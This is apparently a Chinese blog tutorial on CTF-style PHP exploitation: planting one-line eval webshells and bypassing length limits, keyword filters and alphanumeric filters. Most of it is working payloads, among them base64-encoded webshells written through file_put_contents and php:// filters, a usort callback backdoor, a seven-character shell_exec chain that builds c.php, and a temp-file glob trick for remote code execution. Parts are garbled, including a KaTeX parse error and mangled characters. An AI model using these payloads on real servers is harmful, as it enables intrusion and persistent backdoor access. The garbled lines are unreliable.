php一句话木马;eval长度限制突破方法
<?php$param = $_REQUEST['param']; if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param,'assert') === false)//$param中不能包含eval和assert{ eval($param);}
方法一:执行命令替换
//KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲1\]从地址栏获取参数1=id…_GET[1]`&1=id 或者exec(_GET[1])&1=id
//eval(`id`),eval是php中的命令执行,``是Linux中的命令执行,先php执行,在Linux执行
方法二:文件内容追加+文件包含+php伪协议
将一句话木马<?php eval(&_POST[1])用 base64编码,追加到N文件中。(file_put_contents不接受某些特殊字符,如`<)
file_put_contents(N,p,8),第一个参数为追加内容的文件,第二个参数为追加内容的base64编码,第三个参数为file_append。这里由于参数长度的限制,使用了等价于file_append的8,php中file_put_contents函数的c语言底层代码中8为file_append
include,文件包含:接收到的文件都会以这里的php文件格式执行。
foo.php?1=file_put_contents¶m=$_GET[1](N,P,8); foo.php?1=file_put_contents¶m=$_GET[1](N,D,8); foo.php?1=file_put_contents¶m=$_GET[1](N,w,8);/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */ foo.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N#读取N文件的内容,并将其base64解码
方法三:PHP5.6+变长参数 + usort回调后门
payload: web.php?1[]=test&1[]=phpinfo();&2=assert
param=usort(…$_GET);
usort(code, 函数),第一个参数当做参数放到第二个参数的函数执行。
…表示函数可传递可变长参数
eval长度限制突破方法,最多7个字符
<?php$param = $_REQUEST['param']; if ( strlen($param) < 8 ) { echo shell_exec($param);}
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
>hp >c.p\\ >\ -\\…w>o\ \\ w>ech\\
向c.pp写入<?php eval($_GET[1]);一句话木马,重定向不支持<和?等特殊符号写入文件,所以将编码成base64编码格式,然后以base64解码读取c.php文件。
利用重定向,创建文件,ls -t然后以时间的顺序排列,就观察到会以echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php这样执行,生成一个c.php文件
RCE 无字母数字绕过
<?phpif(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)){ die("NO."); } eval($code);}else{ highlight_file(__FILE__);}
php7版本
这里过滤了 ,之前使用的 ,之前使用的 ,之前使用的_GET()接收参数的方法行不通了。
在php7版本下可以通过($a)();
方法来执行动态函数,
将要执行的代码,这里以(phpinfo)()为例,将phpinfo字母进行url编码再取反
payload(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90这一串字符,是phpinfo进行url编码再取反。
现在对%8F%97%8F%96%91%99%90进行url编码出来为不可见字符,就绕过了。
在进入程序中,php对不可见字符取反就编译成了phpinfo
通用版本解决
那如果是php7版本以下怎么办呢?
我们可以利用文件上传方式来执行,首先我们必须清楚文件上传的过程。当文件上传到服务端后,文件会先存放到/tmp的临时目录下,经过安全检测后才决定存不存放到相应的目录下。我们就可以利用文件还存在/tmp临时目录这个时刻,来进行绕过。
首先构造一个提交文件的前端
<form action="rce1.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" id=""> <input type="submit" value="submit"> </form>
上传文件的代码内容,执行linux的命令。(这里进行测试可以随便写)
#!/bin/bash id
payload
?code=?><?=\`.+/???/????????\[@-\[\]\`?>
执行文件生成对应的临时文件,
有两个难题:1.如何找到对应的临时文件 2.生成对应的临时文件没有执行权限
解决
eval函数的参数code,默认后面有<?php,所以要在其后面接? >进行闭合
<?php,这里的php可以等价于=; . /tmp/phpasdse .后面加空格可以不用执行权限执行临时文件 匹配文件,我们知道临时文件的一个特性,最后一个字符是随机生成的,可能会是大写,而正常的linux文件最后一个字符都是小写。我们可以利用这个特征来匹配临时文件。\[@-\[\]表示匹配大写字母。 注意:如果是在网站url传参,需要将payload中url不支持编码的字符进行url编码。Burpsuit软件会自动把参数编码好传递,无需编码。 ### 无参数文件读取 题目要求,读取该目录下的flag文件 ```php <?phphighlight_file(__FILE__);if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}?>
(?R)这个正则的意思是子递归,\[^\\W\]()这个匹配的函数,大概意思就是必须是函数[嵌套](https://so.csdn.net/so/search?q=%E5%B5%8C%E5%A5%97&spm=1001.2101.3001.7020),不能有参数scandir(‘url’):获取目录下的文件,参数需要传递路径getcwd():获取当前目录路径scandir(getcwd())这两个函数搭配使用,可以获取当前目录下的所有文件,但我们如何拿到flag这个文件呢?array\_flip():交换数组的键和值,array\_rand():随机返回一个数组的键利用上述两个函数,多尝试几次就能拿到flag文件,最后再利用show\_source()函数读取文件即可